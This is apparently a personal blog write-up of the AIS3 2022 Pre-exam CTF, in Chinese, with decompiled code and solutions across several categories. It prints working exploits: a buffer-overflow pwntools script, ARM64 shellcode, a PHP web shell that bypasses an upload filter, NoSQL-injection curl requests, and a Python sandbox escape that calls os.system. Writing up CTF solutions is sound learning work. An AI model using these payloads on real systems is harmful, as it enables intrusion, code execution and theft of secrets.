atx0mg's Fortress.

AIS3 2022 Pre-exam

Word count: 2.5kReading time: 13 min
2022/07/04

Overview

今年打 AIS3 的 Pre-exam,這次總共解了 8 題(不包括 Welcome),剩下的題目的解法有些是參考別人的 writeup

Read More →

[Pwn]

BOF2WIN

思路

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("What's your name?");
gets(v4);
printf("Hello, %s!\n", v4);
return 0;
}

可以看到第 8 行有 gets 漏洞,不會檢查邊界,因此可以 Buffer overflow 並控制 RIP
而 RIP 要跳到哪一個地址?在看過 IDA Pro 後可以發現到 get_the_flag() 的函式

1
2
3
4
5
6
7
8
9
10
11
int get_the_flag()
{
__int64 buf[7]; // [rsp+0h] [rbp-40h] BYREF
int fd; // [rsp+3Ch] [rbp-4h]

memset(buf, 0, 48);
fd = open("/home/bof2win/flag", 0);
read(fd, buf, 0x30uLL);
write(1, buf, 0x30uLL);
return close(fd);
}

可以透過get_the_flag() 的組合語言模式來找該記憶體位置,記憶體位置在 0x401216

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:000000000401216 F3 0F 1E FA             endbr64
.text:000000000040121A 55 push rbp
.text:000000000040121B 48 89 E5 mov rbp, rsp
.text:000000000040121E 48 83 EC 40 sub rsp, 40h
.text:0000000000401222 48 C7 45 C0 00 00 00 00 mov [rbp+buf], 0
.text:000000000040122A 48 C7 45 C8 00 00 00 00 mov [rbp+var_38], 0
.text:0000000000401232 48 C7 45 D0 00 00 00 00 mov [rbp+var_30], 0
.text:000000000040123A 48 C7 45 D8 00 00 00 00 mov [rbp+var_28], 0
.text:0000000000401242 48 C7 45 E0 00 00 00 00 mov [rbp+var_20], 0
.text:000000000040124A 48 C7 45 E8 00 00 00 00 mov [rbp+var_18], 0
.text:0000000000401252 BE 00 00 00 00 mov esi, 0 ; oflag
.text:0000000000401257 48 8D 3D A6 0D 00 00 lea rdi, file ; "/home/bof2win/flag"
.text:000000000040125E B8 00 00 00 00 mov eax, 0
.text:0000000000401263 E8 B8 FE FF FF call _open

Exploit Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.update(log_level='info')
padding = cyclic_find("gaaa")
usefulFunction_adr = 0x401216

p = remote("chals1.ais3.org", 12347)

#p = gdb.debug("./bof2win", gdbscript=gdbscript)

#print(padding)
# 1 - Fill the padding
padding = "A" * padding
#payload = padding.encode()
payload = padding
payload += p64(usefulFunction_adr)

p.sendline(payload)
p.interactive()

Result

Got flag: AIS3{Re@1_B0F_m4st3r!!}

SAAS - Crash

思路

Heap 的 double free attack (有點半矇到, 但 flag is flag lol)

Exploit

Got flag: AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}

[Reverse]

Time Management

思路

一看到題目是 time management,我第一直覺是 sleep(),剛好在題目裡也有看到,所以就特別留意

丟進 IDA Decompile 完,可以看到第 13 行有一個 sleep(0x8763),會造成整個程式卡住,因此我想說能否 patch 掉這個函式?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nt __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch]
int i; // [rsp+8h] [rbp-8h]
int j; // [rsp+Ch] [rbp-4h]

puts("Hope you have enough time to receive my flag:");
for ( i = 0; i <= 23; i += 2 )
{
v4 = *(_DWORD *)&secret[4 * i] ^ key[*(unsigned int *)&secret[4 * i + 4]];
for ( j = 0; j <= 3; ++j )
{
sleep(0x8763u);
printf("%c", v4);
v4 >>= 8;
fflush(_bss_start);
}
}
puts("\rOops! Where is the flag? I am sure that the flag is already printed!");
return 0;
}

根據 IDA 發現 sleep 的 offset 在 0x122B ,該 instruction code 是 BF 63 87 00 00 E8 7B FE FF FF,透過 010 Editor 便可以 patch 掉

1
2
3
.text:000000000000122B                         loc_122B:               ; seconds
.text:000000000000122B BF 63 87 00 00 mov edi, 8763h
.text:0000000000001230 E8 7B FE FF FF call _sleep

patch 完後長這樣

Exploit

接著再把它丟回 gdb,設斷點在 printf,每次 4 個 byte 從 RSI 的把 flag leak 出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
jeff14994@jeff14994-VirtualBox:~/Desktop/AIS3-2022/reverse/management_time$ gdb ./fixed_chal
GNU gdb (Ubuntu 8.3-0ubuntu1) 8.3
gef➤ b printf
Breakpoint 1 at 0x1090
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x2c
$rdx : 0x454b4146
$rsp : 0x007fffffffe128 → 0x0055555555524b → <main+162> mov eax, DWORD PTR [rbp-0xc]
$rbp : 0x007fffffffe140 → 0x00555555555290 → <__libc_csu_init+0> endbr64
$rsi : 0x33534941
$rdi : 0x005555555560de → 0x00000000006325 ("%c"?)
$rip : 0x007ffff7e24d70 → <printf+0> endbr64
$r8 : 0x2e
$r9 : 0x7c
$r10 : 0x007ffff7faabe0 → 0x005555555596a0 → 0x0000000000000000
$r11 : 0x246
$r12 : 0x005555555550c0 → <_start+0> endbr64
$r13 : 0x007fffffffe220 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe128│+0x0000: 0x0055555555524b → <main+162> mov eax, DWORD PTR [rbp-0xc] ← $rsp
0x007fffffffe130│+0x0008: 0x33534941ffffe220
0x007fffffffe138│+0x0010: 0x0000000000000000
0x007fffffffe140│+0x0018: 0x00555555555290 → <__libc_csu_init+0> endbr64 ← $rbp
0x007fffffffe148│+0x0020: 0x007ffff7de71e3 → <__libc_start_main+243> mov edi, eax
0x007fffffffe150│+0x0028: 0x0000000000000000
0x007fffffffe158│+0x0030: 0x007fffffffe228 → 0x007fffffffe4e6 → "/home/jeff14994/Desktop/AIS3-2022/reverse/manageme[...]"
0x007fffffffe160│+0x0038: 0x0000000100040000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7e24d61 <fprintf+177> ret
0x7ffff7e24d62 <fprintf+178> call 0x7ffff7ef2d60 <__stack_chk_fail>
0x7ffff7e24d67 nop WORD PTR [rax+rax*1+0x0]
→ 0x7ffff7e24d70 <printf+0> endbr64
0x7ffff7e24d74 <printf+4> sub rsp, 0xd8
0x7ffff7e24d7b <printf+11> mov r10, rdi
0x7ffff7e24d7e <printf+14> mov QWORD PTR [rsp+0x28], rsi
0x7ffff7e24d83 <printf+19> mov QWORD PTR [rsp+0x30], rdx
0x7ffff7e24d88 <printf+24> mov QWORD PTR [rsp+0x38], rcx
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fixed_chal", stopped 0x7ffff7e24d70 in __printf (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e24d70 → __printf(format=0x5555555560de "%c")
[#1] 0x55555555524b → main()

接著再重組散亂的 flag

Got flag: AIS3{You_are_the_master_of_time_management!!!!!}

Give Me SC

要給 ARM64 的 shellcode

Exploit

1
2
3
4
5
6
7
8
from pwn import *
shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
p = remote("127.0.0.1", 15566)
p.recv()
p.sendline("omg".encode())
p.recv()
p.sendline(shellcode)
p.interactive()

Result

[Web]

Poking Bear

根據我觀察到的規律,解答有可能在 endpoint 350 - 777 的區間,可以戳出圖案。但不確定是哪一個,所以我使用 Burp Suite 來猜,結過發現 499 的 response 跟其他人的不同

499 發現 SECRET BEAR

發現會驗證 Cookie,因此把 Value 改成 "bear poker" 就可以拿到 flag

Result

Got flag: AIS3{y0u_P0l3_7h3_Bear_H@rdLy<}

Simple File Uploader

思路

是 PHP 的題目,但我忘記存它的 source code。我記得它會先驗證 file extension (使用 php, php5 等等會被 block),接著驗證裡面的內容(使用黑名單,使用 eval(), passthru() 等等的函式會被 block),上傳完就會拿到 /upload/xxx.php 來執行你上傳的程式

我試了很多次,不過我就只講成功的那一次

  1. Bypass 副檔名 .PHp
  2. Bypass 內容驗證 echo `[arbitrary command]`;

    Exploit Code

    1
    2
    3
    4
    5
    檔名 exploit.PHp
    <?php
    #echo `ls /`;
    echo `/rUn_M3_t0_9et_fL4g`;
    ?>
    使用 ls 看到的內容,發現有一個 rUn_M3_t0_9et_fL4g => run me to get flag

執行完 /rUn_M3_t0_9et_fL4g

Got flag: AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}

the_best_login_ui

Description

1
app.use(bodyParser.urlencoded({ extended: true }));

可以透過 no_sql injection 進行 data leaking

1
2
3
4
5
6
7
8
9
10
11
12
curl 127.0.0.1:54088/login -d 'username=admin&password[$regex]=.{41}'
# Result: Success owo!

curl 127.0.0.1:54088/login -d 'username=admin&password[$regex]=.{42}'
# Result: Failed qwq
# 可以知道 flag 長度是 41

curl 127.0.0.1:54088/login -d 'username[$ne]=toto&password[$regex]=AIS3{B.{35}'
# Result: Success owo!
# 可以透過 $regex 進行抹一個字元的 leak
# 注意有特殊字元,記得逃脫

[Crypto]

SC

思路

看到關鍵字 Substitution cipher,想說看網路上有沒有現成的工具可以解,結果發現沒有,所以最後自幹。用紙筆大概解了 30-40 分鐘,中間有幾次把 0 當成 O差點解不出來

密文 => 要想辦法找到對應的 key 轉回明文

5xvJ{IVnCDwT_I24t6W626DVw_ODPzJi_FDMz_awVFw_PWmDw6J86_m66cOa}

Source Code

加密過程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import string
import random

def shuffle(x):
x = list(x)
random.shuffle(x)
return x
def encrypt(T, file):
with open(file) as f:
pt = f.read()
with open(f"{file}.enc", "w") as f:
f.write(pt.translate(T))

charset = string.ascii_lowercase + string.ascii_uppercase + string.digits
shuffled = "".join(shuffle(charset))
T = str.maketrans(charset, shuffled)

encrypt(T, "flag.txt")
encrypt(T, __file__)

自幹筆記

一左一右找對應(從 [0-9A-Za-z]

找完對應後,再把 flag 轉回來

結果發現 Python 好像可以用 maketrans() 來轉換…

Got flag: 我發現好像沒存到...,不過可以在筆記裡面看到

[Misc]

Gift in the dream

思路

strings binary 後發現 hint: Qwhy is the animation lagging? why is the duration so weird? is this just a dream?,猜想應該跟gif的時間間隔有關

Exploit

1
identify -format "%s %T \n" gift_in_the_dream_updated.gif | cut -d ' ' -f2 | awk '{ printf("%c",$0); }'

Result

1
2
identify -format "%s %T \n" gift_in_the_dream_updated.gif | cut -d ' ' -f2 | awk '{ printf("%c",$0); }'
AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}%

Got flag: AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}

Excel

使用 binwalkopenpyxl 解出來的結果都很怪,最後還是使用 M$ 的Excel 來開這個檔案

一打開就看到跳 macros

接著看到 openpyxl,猜官方解應該是用這個套件

最後發現 Worksheets 應該有這麼多,但都沒顯示出來

Exploit

Google 一下怎麼顯示隱藏的 worksheets 後,在 A58 發現一個 Formula。執行後,在 A137 便可找到結果

現在才發現原來 Excel 可以隱藏 worksheets LOL) (技能 GET)

Result

Got flag: AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}

knock

先用 wireshark 錄封包,敲完後開始分析
udp && ip.src==10.113.203.111 && not icmp

可以看到 port number 都不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# port.txt
12065
12073
12083
12051
12123
12107
12110
12048
12099
12107
12075
12078
12079
12067
12075
12107
12110
12111
12099
12107
12125
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat port.txt | cut -c 3-5 | awk '{printf("%c",$1)}'

# cut
# -c list
# The list specifies character positions.

# awk
# An input line is normally made up of fields separated by white space, or by the regular expression FS. The fields are denoted $1, $2, ..., while $0
# refers to the entire line. If FS is null, the input line is split into one field per character.
# A pattern-action statement has the form:
# pattern { action }

#tr -d "x"
# -d Delete characters in string1 from the input.

cut
awk
printf
xargs

Got flag: AIS3{kn0ckKNOCKknock}

seadog_webshell

Description

題目的 docker-compose.yml,flag 藏在環境變數,port 開在 12369,並且啟動 xinetd 當作 daemon,而這個 daemon 則呼叫了 webshell,而這個 webshell 則是短短的一個指令 base64 | timeout 10s sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# docker-compose.yml 裡面可以看到它 build 一個 image
version: '3'

services:
seadog-shell:
build: ./
volumes:
- ./src/webshell:/webshell:ro
- ./xinetd:/etc/xinetd.d/seadog-shell:ro
environment:
FLAG: AIS3{not real flag}
ports:
- "12369:12369"

# Dockerfile
FROM archlinux:base

RUN pacman -Syyu --noconfirm
RUN pacman -S coreutils xinetd --noconfirm
RUN useradd -m ctf

CMD ["/usr/sbin/xinetd", "-dontfork"]

# xinetd
service seadog-shell
{
disable = no
type = UNLISTED
wait = no
server = /webshell
socket_type = stream
protocol = tcp
user = ctf
port = 12369
flags = REUSE
}

# webshell
#!/bin/sh

#exec 2>/dev/null
#sh
base64 | timeout 10s sh

思路

想辦法繞過這個 base64 並取得環境變數 flag

因為 base64 的原理是每 4 個字元可以轉換成 3 個字元,所以要想辦法湊成指令,滿足

  1. 字元在 base64 的索引範圍
  2. 字元數是四的倍數(可以用 / 來湊字數)
  3. 轉換後仍可以執行 linux command

Resources

Exploit:

1
2
3
4
echo "//bin/ls" | base64 -d | nc 127.0.0.1 12369

# The flag is stored in the environment variable
echo "/usr/bin/env" | base64 -d | nc 127.0.0.1 12369

astjail

Descripiton

Python sandbox 要想辦法逃脫這個 sandbox,然後取得 flag

1
2
3
4
#       ...
elif isinstance(node, ast.Slice):
return traverse(node.lower) and traverse(node.upper)
#. ...

ast 的程式碼可以看到,Slice 其實有三個參數,而上面只 traverse 了兩個(step 沒有被 traverse 到,因此可以拿來利用)

1
Slice(expr? lower, expr? upper, expr? step)

Exploit

1
2
3
4
5
6
7
8
9
10
11
# 列出 library
[int][::print(list(enumerate(''.__class__.__mro__[-1].__subclasses__())))]

# ...
# (124, <class 'collections.abc.Sized'>), (125, <class 'collections.abc.Container'>), (126, <class 'collections.abc.Callable'>), (127, <class 'os._wrap_close'>)
# ...
#
# os library 在 index 127
[int, int, int][::print(''.__class__.__mro__[-1].__subclasses__()[127])]
# 戳出 flag
[int,int,int][::print(''.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__['system']('cat ./flag.txt'))]

Result

Author:atx0mg

Link:https://jeff14994.github.io/2022/07/04/AIS3-2022-Pre-exam/

Publish date:July 4th 2022, 5:04:03 pm

Update date:July 4th 2022, 2:32:59 am

License:This article is licensed under CC BY-NC 4.0

CATALOG
  1. 1. Overview
  2. 2. [Pwn]
    1. 2.1. BOF2WIN
      1. 2.1.1. 思路
      2. 2.1.2. Exploit Code:
      3. 2.1.3. Result
      4. 2.1.4. Got flag: AIS3{Re@1_B0F_m4st3r!!}
    2. 2.2. SAAS - Crash
      1. 2.2.1. 思路
      2. 2.2.2. Exploit
      3. 2.2.3. Got flag: AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}
  3. 3. [Reverse]
    1. 3.1. Time Management
      1. 3.1.1. 思路
      2. 3.1.2. Exploit
      3. 3.1.3. Got flag: AIS3{You_are_the_master_of_time_management!!!!!}
    2. 3.2. Give Me SC
      1. 3.2.1. Exploit
      2. 3.2.2. Result
  4. 4. [Web]
    1. 4.1. Poking Bear
      1. 4.1.1. Result
      2. 4.1.2. Got flag: AIS3{y0u_P0l3_7h3_Bear_H@rdLy<}
    2. 4.2. Simple File Uploader
      1. 4.2.1. 思路
      2. 4.2.2. Exploit Code
      3. 4.2.3. Got flag: AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}
    3. 4.3. the_best_login_ui
      1. 4.3.1. Description
  5. 5. [Crypto]
    1. 5.1. SC
      1. 5.1.1. 思路
      2. 5.1.2. 密文 => 要想辦法找到對應的 key 轉回明文
      3. 5.1.3. Source Code
      4. 5.1.4. 自幹筆記
      5. 5.1.5. Got flag: 我發現好像沒存到...,不過可以在筆記裡面看到
  6. 6. [Misc]
    1. 6.1. Gift in the dream
      1. 6.1.1. 思路
      2. 6.1.2. Exploit
      3. 6.1.3. Result
      4. 6.1.4. Got flag: AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}
    2. 6.2. Excel
      1. 6.2.1. Exploit
      2. 6.2.2. Result
      3. 6.2.3. Got flag: AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}
    3. 6.3. knock
      1. 6.3.1. Got flag: AIS3{kn0ckKNOCKknock}
    4. 6.4. seadog_webshell
      1. 6.4.1. Description
      2. 6.4.2. 思路
      3. 6.4.3. Exploit:
    5. 6.5. astjail
      1. 6.5.1. Descripiton
      2. 6.5.2. Exploit
      3. 6.5.3. Result